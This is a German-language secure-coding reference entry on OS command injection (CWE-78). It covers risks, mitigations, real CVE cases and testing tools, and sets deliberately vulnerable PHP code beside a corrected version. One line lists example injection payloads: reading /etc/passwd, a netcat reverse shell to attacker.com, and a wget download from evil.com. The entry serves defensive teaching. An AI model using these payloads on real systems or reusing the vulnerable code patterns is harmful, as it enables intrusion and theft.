Unsachgemäße Neutralisierung von Spezialelementen in einem OS-Befehl ('OS Command Injection')
Beschreibung
OS Command Injection ist eine Schwachstelle, die auftritt, wenn Software einen Betriebssystembefehl ganz oder teilweise unter Verwendung von extern beeinflussten Eingaben einer vorgelagerten Komponente konstruiert, aber Spezialelemente, die den beabsichtigten OS-Befehl modifizieren könnten, nicht oder nicht korrekt neutralisiert. Anders als allgemeine Command Injection (CWE-77) zielt OS Command Injection speziell auf System-Shells wie bash, cmd.exe oder PowerShell ab. Angreifer nutzen dies aus, indem sie Shell-Metazeichen wie Semikolons (;), Pipes (|), Ampersands (&), Backticks (`), oder Befehlssubstitution ($()) einschleusen, um Befehle anzuhängen oder zu modifizieren. Die eingeschleusten Befehle werden mit denselben Privilegien wie die anfällige Anwendung ausgeführt, was oft zu vollständiger Systemkompromittierung führt.
Risiko
OS Command Injection rangiert konstant unter den gefährlichsten Software-Schwachstellen und erscheint sowohl in OWASP Top 10 als auch CWE Top 25. Erfolgreiche Ausnutzung ermöglicht Angreifern die Ausführung beliebiger Betriebssystembefehle, was ihnen effektiv denselben Zugriff wie der Anwendung selbst gibt. Dies führt typischerweise zu vollständiger Systemkompromittierung einschließlich Datendiebstahl, Malware-Installation, Ransomware-Einsatz und lateraler Bewegung innerhalb von Netzwerken. Netzwerkgeräte, IoT-Systeme und Webanwendungen, die mit Betriebssystembefehlen interagieren, sind besonders anfällig. Die kritische Shellshock-Schwachstelle (CVE-2014-6271) demonstrierte, wie OS Command Injection Millionen von Systemen gleichzeitig betreffen kann, wobei Ausnutzungsversuche innerhalb von Stunden nach der Offenlegung begannen.
Lösung
Die primäre Verteidigung ist es, den Aufruf von OS-Befehlen aus Anwendungscode vollständig zu vermeiden. Verwenden Sie sprachspezifische APIs und Bibliotheken, die die benötigte Funktionalität ohne Shell-Aufruf bereitstellen, wie z.B. eingebaute Dateimanipulationsfunktionen anstelle von Shell-Befehlen. Wenn OS-Befehle unvermeidbar sind, verwenden Sie parametrisierte Ausführungsschnittstellen, die den Befehl von seinen Argumenten trennen (z.B. subprocess mit Argument-Arrays anstelle von Shell-Strings). Konstruieren Sie niemals Befehlsstrings durch Verkettung von Benutzereingaben. Wenn Benutzereingaben enthalten sein müssen, implementieren Sie strikte Allowlist-Validierung, die Eingaben auf bekannt sichere Muster beschränkt. Als letzter Ausweg escapen Sie alle Shell-Metazeichen mit plattformgeeigneten Funktionen, aber erkennen Sie, dass dieser Ansatz fehleranfällig ist und umgangen werden kann. Führen Sie Anwendungen mit minimal notwendigen Privilegien aus, um Auswirkungen zu begrenzen.
Häufige Auswirkungen
| Auswirkung | Details |
|---|---|
| Vertraulichkeit | Bereich: Vertraulichkeit Angreifer können Befehle ausführen, um jede für die Anwendung zugängliche Datei zu lesen, sensible Daten zu exfiltrieren, Anmeldedaten zu dumpen oder auf Datenbankinhalte zuzugreifen. |
| Integrität | Bereich: Integrität Eingeschleuste OS-Befehle können Systemkonfigurationen modifizieren, Dateien ändern, Backdoor-Konten erstellen, Malware installieren oder persistente Zugriffsmechanismen platzieren. |
| Verfügbarkeit | Bereich: Verfügbarkeit Angreifer können Befehle ausführen, um Prozesse zu beenden, kritische Dateien zu löschen, Ressourcen zu erschöpfen, Daten mit Ransomware zu verschlüsseln oder Systeme funktionsunfähig zu machen. |
| Zugriffskontrolle | Bereich: Zugriffskontrolle, Vollständige Systemkompromittierung OS Command Injection führt typischerweise zu vollständiger Systemkompromittierung mit der Fähigkeit, jede Aktion durchzuführen, die das Benutzerkonto der Anwendung ausführen kann. |
Beispielcode + Lösungscode
Das folgende Beispiel zeigt eine anfällige PHP-Anwendung, die OS-Befehle mit Benutzereingaben ausführt:
Anfälliger Code
<?php
// ANFÄLLIG: Benutzereingabe direkt im Shell-Befehl
// Beispiel 1: Direkte Verkettung
$domain = $_GET['domain'];
$output = shell_exec("nslookup " . $domain);
echo "<pre>$output</pre>";
// Beispiel 2: Verwendung von Backticks (Shell-Ausführung)
$ip = $_POST['ip'];
$result = `ping -c 4 $ip`;
echo "<pre>$result</pre>";
// Beispiel 3: system()-Funktion
$filename = $_GET['file'];
system("cat /var/log/" . $filename);
// Beispiel 4: Unzureichende Bereinigung
$host = $_GET['host'];
// Dieses Escaping ist UNZUREICHEND - kann umgangen werden
$host = str_replace([';', '|', '&'], '', $host);
exec("traceroute " . $host, $output);
print_r($output);
?>
Alle Beispiele sind anfällig. Angreifer können einschleusen: ; cat /etc/passwd, | nc attacker.com 4444 -e /bin/bash, && wget http://evil.com/shell.sh, oder Codierung verwenden, um einfache Filter zu umgehen.
Korrigierter Code
<?php
// SICHER: Ordnungsgemäße OS Command Injection-Prävention
// Option 1: Eingebaute PHP-Funktionen anstelle von Shell-Befehlen verwenden
// Für DNS-Lookup gethostbyname() oder dns_get_record() verwenden
function safe_dns_lookup($domain) {
// Domain-Format zuerst validieren
if (!filter_var($domain, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
return ['error' => 'Ungültiges Domain-Format'];
}
// PHP's eingebaute DNS-Funktionen anstelle von Shell verwenden
$records = dns_get_record($domain, DNS_A + DNS_AAAA + DNS_MX);
return $records ?: ['error' => 'Keine DNS-Einträge gefunden'];
}
// Option 2: Strikte Allowlist-Validierung + escapeshellarg()
function safe_ping($ip) {
// IP-Adressformat strikt validieren
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
throw new InvalidArgumentException('Ungültige IP-Adresse');
}
// escapeshellarg() für zusätzliche Sicherheit verwenden
// Hinweis: Dies sollte Defense-in-Depth sein, nicht primäre Verteidigung
$safe_ip = escapeshellarg($ip);
// proc_open für bessere Kontrolle verwenden
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open(
"ping -c 4 $safe_ip",
$descriptors,
$pipes
);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_code = proc_close($process);
return $exit_code === 0 ? $output : "Fehler: $errors";
}
return 'Befehlsausführung fehlgeschlagen';
}
// Option 3: Allowlist erlaubter Werte
function safe_view_log($logname) {
// Erlaubte Log-Dateien definieren
$allowed_logs = [
'access' => '/var/log/apache2/access.log',
'error' => '/var/log/apache2/error.log',
'auth' => '/var/log/auth.log'
];
// Nur vordefinierte Log-Namen erlauben
if (!array_key_exists($logname, $allowed_logs)) {
throw new InvalidArgumentException('Ungültige Log-Datei');
}
// Datei direkt mit PHP lesen - kein Shell-Befehl nötig
$filepath = $allowed_logs[$logname];
if (file_exists($filepath) && is_readable($filepath)) {
return file_get_contents($filepath);
}
return 'Log-Datei nicht gefunden oder nicht lesbar';
}
// Option 4: Wenn Shell verwendet werden muss, ordnungsgemäße Argumenttrennung
function safe_traceroute($host) {
// Strikte IP-Validierung
if (!filter_var($host, FILTER_VALIDATE_IP)) {
// Wenn Hostname, strikt validieren
if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/', $host)) {
throw new InvalidArgumentException('Ungültiger Host');
}
if (strlen($host) > 253) {
throw new InvalidArgumentException('Host zu lang');
}
}
// Aktion für Audit protokollieren
error_log("Traceroute angefordert für: $host von " . $_SERVER['REMOTE_ADDR']);
// escapeshellarg verwenden und Ausführungszeit begrenzen
$safe_host = escapeshellarg($host);
$output = [];
$return_var = 0;
// Timeout setzen, um lang laufende Befehle zu verhindern
$command = "timeout 30 traceroute -m 15 $safe_host 2>&1";
exec($command, $output, $return_var);
if ($return_var === 124) {
return 'Traceroute Zeitüberschreitung';
}
return implode("\n", $output);
}
// Verwendung
try {
echo "<pre>" . htmlspecialchars(safe_ping($_GET['ip'] ?? '')) . "</pre>";
} catch (Exception $e) {
echo "Fehler: " . htmlspecialchars($e->getMessage());
}
?>
Der korrigierte Code implementiert mehrere Verteidigungsschichten: Verwendung eingebauter Sprachfunktionen anstelle von Shell-Befehlen wo möglich, strikte Eingabevalidierung mit Allowlists und Typvalidierung, ordnungsgemäßes Escaping als Defense-in-Depth und Begrenzung des Befehlsausführungsbereichs und der Zeit.
Ausgenutzt in der Praxis
Shellshock (Globale Infrastruktur, 2014)
CVE-2014-6271, bekannt als Shellshock, war eine kritische OS Command Injection-Schwachstelle in GNU Bash, die Versionen 4.3 und früher betraf. Die Schwachstelle ermöglichte Angreifern, Befehle durch Umgebungsvariablen einzuschleusen und betraf Millionen von Linux- und Unix-Systemen weltweit. Webserver mit CGI-Skripten waren besonders anfällig, wobei die Ausnutzung innerhalb von Stunden nach der Offenlegung begann. Angreifer setzten Botnets, Kryptowährungs-Miner und Ransomware durch diese Schwachstelle ein, die einer der bedeutendsten OS Command Injection-Vorfälle der Geschichte bleibt.
Fortinet FortiNAC Remote Code Execution (Unternehmensnetzwerke, 2023)
CVE-2022-39952 in Fortinet FortiNAC ermöglichte nicht authentifizierte Remote-Code-Ausführung durch OS Command Injection in der Schlüssel-Upload-Funktionalität. Angreifer nutzten diese Schwachstelle, um Netzwerkzugriffskontrollsysteme zu kompromittieren, die Unternehmensumgebungen schützen. Die Schwachstelle wurde dem CISA-Katalog bekannter ausgenutzter Schwachstellen hinzugefügt, als aktive Ausnutzung erkannt wurde, die auf Organisationen abzielte, die FortiNAC für Netzwerksicherheitsdurchsetzung verwenden.
VMware Workspace ONE Access Command Injection (Cloud-Infrastruktur, 2022)
CVE-2022-22954 war eine kritische OS Command Injection-Schwachstelle in VMware Workspace ONE Access und Identity Manager. Die Schwachstelle in serverseitiger Template-Injection ermöglichte Remote-Angreifern die Ausführung beliebiger Befehle. Bedrohungsakteure, einschließlich der APT29-Gruppe (Cozy Bear), nutzten diese Schwachstelle, um Identitätsmanagement-Infrastruktur zu kompromittieren und Zugang zu Unternehmens-Authentifizierungssystemen zu erlangen, was laterale Bewegung über Opfernetzwerke ermöglichte.
Tools zum Testen/Ausnutzen
-
Commix — automatisiertes OS Command Injection-Erkennungs- und Ausnutzungstool, das mehrere Injection-Techniken unterstützt, einschließlich zeitbasierter blinder, dateibasierter und ergebnisbasierter Methoden.
-
Burp Suite — Webanwendungs-Sicherheitstestplattform mit aktivem Scanning für OS Command Injection und manuellen Testfähigkeiten für Payload-Erstellung und Antwortanalyse.
-
OS Command Injection Payloads — umfassende Sammlung von OS Command Injection-Payloads für verschiedene Shells, Betriebssysteme und Bypass-Techniken aus dem PayloadsAllTheThings-Repository.
CVE-Beispiele
-
CVE-2014-6271 — Shellshock-Schwachstelle in GNU Bash ermöglicht Command Injection durch Umgebungsvariablen.
-
CVE-2022-39952 — Fortinet FortiNAC OS Command Injection über Schlüsseldatei-Upload ermöglicht nicht authentifizierte RCE.
-
CVE-2022-22954 — VMware Workspace ONE Access serverseitige Template-Injection führt zu OS-Befehlsausführung.
-
CVE-2023-29084 — ManageEngine ADManagerPlus OS Command Injection durch unsachgemäße CRLF-Zeichenbehandlung.
Referenzen
-
MITRE. "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/78.html
-
OWASP. "OS Command Injection Defense Cheat Sheet." OWASP Cheat Sheet Series. https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
-
PortSwigger. "What is OS command injection, and how to prevent it?" Web Security Academy. https://portswigger.net/web-security/os-command-injection
-
Fastly. "Back to Basics: OS Command Injection." https://www.fastly.com/blog/back-to-basics-os-command-injection